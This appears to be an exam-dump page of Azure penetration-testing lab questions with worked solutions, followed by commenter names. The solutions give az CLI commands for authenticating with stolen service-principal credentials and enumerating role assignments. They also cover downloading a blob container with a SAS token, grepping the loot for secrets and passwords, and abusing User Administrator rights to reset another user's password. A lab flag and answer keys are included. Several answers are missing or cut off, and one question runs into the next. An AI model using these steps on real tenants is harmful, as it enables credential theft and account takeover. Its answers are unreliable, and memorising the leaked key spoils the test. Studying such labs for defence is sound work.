Using the previously retrieved credentials, authenticate as the App Registration within the tenant and enumerate potential lateral movement vectors. Which of the following roles is assigned to the App Registration?
Detailed Solution:
Use the app registration credentials recovered from blob storage.
az login --service-principal \
-u '<client-id>' \
-p '<client-secret>' \
--tenant f015f36d-c07f-41fb-9bde-fffc3a22ee8b
Confirm that you are authenticated as a service principal:
az account show
Now enumerate role assignments for the app registration.
az role assignment list \
--assignee '<client-id>' \
--all \
--output table
If the --assignee lookup fails, first resolve the service principal object ID:
az ad sp show \
--id '<client-id>' \
--query id \
--output tsv
Then query role assignments by object ID:
SP_OBJECT_ID=$(az ad sp show --id '<client-id>' --query id -o tsv)
az role assignment list \
--assignee '$SP_OBJECT_ID' \
--all \
--output table
The assigned role is:
Key Vault Secrets User
This role allows the principal to read secret values from Azure Key Vault. That is the lateral movement path into the final flag.
Final Answer:
A . Key Vault Secrets User
================
Using the previously gained access to the Azure environment, extract an access token from the Web App's environment and use it to impersonate its Managed Identity. Which of the following roles is assigned to the Web App's Security Principal?
Detailed Solution:
First identify the managed identity attached to the Web App.
az webapp identity show \
--name RnD-Tools \
--resource-group Excalibur-Resources \
--output json
You should see a user-assigned managed identity similar to:
{
'userAssignedIdentities': {
'/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.ManagedIdentity/userAssignedIdentities/WebAppTokenIdentity': {
'clientId': 'cf3664d4-5cec-4feb-b0ef-88b7958809df',
'principalId': 'efe89e83-010f-42f6-9576-30531fa47af7'
}
}
}
Now query the role assignments for the managed identity's principal ID:
az role assignment list \
--assignee efe89e83-010f-42f6-9576-30531fa47af7 \
--all \
--output table
The returned custom role is:
AppService-Auditor
That makes option D correct.
Final Answer:
SIMULATION
You've discovered that the compromised user holds directory-level privileges. Enumerate how this role can be abused to compromise another user in the directory. What is the Job Title attribute of the compromised target user?
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Detailed Solution:
As the second compromised user, enumerate directory users:
az ad user list --output table
Use a cleaner query to show names, UPNs, and job titles:
az ad user list \
--query '[].{DisplayName:displayName,UPN:userPrincipalName,JobTitle:jobTitle}' \
--output table
You should identify a target user whose profile contains a flag in the jobTitle attribute.
The important target is:
lila.nguyen@azuresecops.onmicrosoft.com
Her jobTitle field contains:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Because the compromised user has User Administrator, you can reset this target user's password and later authenticate as her.
Final Answer:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
================
SIMULATION
Carefully enumerate the accessible Azure Blob Container to locate a file containing credentials for an App Registration within the tenant. What is the Application/Client ID of the discovered App Registration?
The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.
Detailed Solution:
List blobs inside the accessible container:
az storage blob list \
--account-name excaliburstore \
--container-name sensitive-files \
--sas-token '$SAS' \
--query '[].name' \
--output table
Download all files locally:
mkdir blobloot
az storage blob download-batch \
--account-name excaliburstore \
--source sensitive-files \
--destination blobloot \
--sas-token '$SAS'
Search the downloaded files for application credentials:
grep -RniE 'clientId|appId|applicationId|clientSecret|tenantId|secret|password' blobloot
On Windows PowerShell:
Select-String -Path .\blobloot\* -Pattern 'clientId|appId|applicationId|clientSecret|tenantId|secret|password' -CaseSensitive:$false
A typical file may look like this:
{
'tenantId': 'f015f36d-c07f-41fb-9bde-fffc3a22ee8b',
'clientId': '
'clientSecret': '
}
The clientId / appId value is the answer.
Final Answer:
Use the clientId / appId value found in the blob credential file.
================
You find a SAS token in a table entity. The token starts with:
?sv=2025-01-05&ss=b&srt=sco&sp=rl&se=2026-08-01T00:00:00Z
Which permissions does sp=rl grant?
A. Read and List B. Read and Write C. Write and Delete D. List and Delete
Detailed Solution:
In Azure Storage SAS tokens, sp means signed permissions.
For blob/container access:
r = read l = list w = write d = delete c = create a = add
Given:
sp=rl
The permissions are:
Read + List
Correct answer:
Umar Zaidi
3 days agoKhalid Raza
17 days agoYui Tanaka
20 days ago